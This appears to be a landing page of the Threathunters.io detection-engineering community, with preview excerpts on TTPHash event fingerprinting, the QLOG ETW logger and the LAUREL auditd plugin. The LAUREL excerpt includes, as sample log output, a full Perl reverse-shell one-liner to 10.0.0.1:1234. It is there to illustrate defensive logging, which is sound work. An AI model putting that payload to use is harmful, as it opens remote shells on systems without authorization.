Threathunters.io

TL;DR; Today, there is no standard method to deterministically fingerprint a security event, instead we are using file hashes to fingerprint observables, like files. While file hashes are very useful from an IOC perspective, they lack in providing any contextual event information, making life harder for detection engineers. TTPHash to the rescue While working on QLOG we developed the idea to create a fingerprint method for entire OS security events providing a more reliable and a less false positive prone way to do detection engineering in large scale networks. We decided to implement a PoC for TTPHash in QLOG for process create events to have a working piece of software to experiment with.   Anatomy of a TTPHash Technically TTPHash is a SHA 256 Hash generated out of stable parts of a logged security event on Windows systems. It aims to fingerprint an entire security event including contextual information rather than just fingerprinting PE files or binaries based on their ha

  What is Qlog QLOG provides lightweigth userland logging of process create events on Windows written in C#. It's under development and currently in experimental state. QLOG uses ETW to collect telemetry, it  doesn’t use API hooks and it doesn’t require a driver to be installed on the target system, Currently QLOG supports “process create” events, but other enriched events may follow soon. QLOG runs as a Windows Services, but can also run in console mode, if you want to output to console directly. I've started QLOG to get a better understanding of Windows ETW and some Windows Eventlog APIs. QLOG is a research experiment, please don't use it on production systems. Update July, 2022 We started QLOG as an experiment to learn more about Windows ETW. QLOG provides enriched Logging for process creation events on Windows. We have stopped development of QLOG because in the meantime free tools were published which use ETW for telemetry and do a way better job than QLOG. Curious? Hav

LAUREL is an event post-processing plugin for _auditd(8)_ to improve its usability in modern security monitoring setups. Why? TLDR: Instead of audit events that look like this… type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… …turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance: { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …} This happens at the source. The generated event even contains useful information about the sp

Who we are? TL;DR; Threathunters.io was initiated by the Deutsche Bahn CSIRT to create a strong community for detection engineering & incident response.  We are a community of voluntary incident responders & detection engineers around the globe, who spent their spare time to help the security community with tools and practical knowledge to support building better detection and response capabilities. Please visit https://threathunters.io/ for more information. You may also like our GIT repository and our BLOG . https://blog.threathunters.io/ https://github.com/threathunters-io Happy hunting! @securityfreax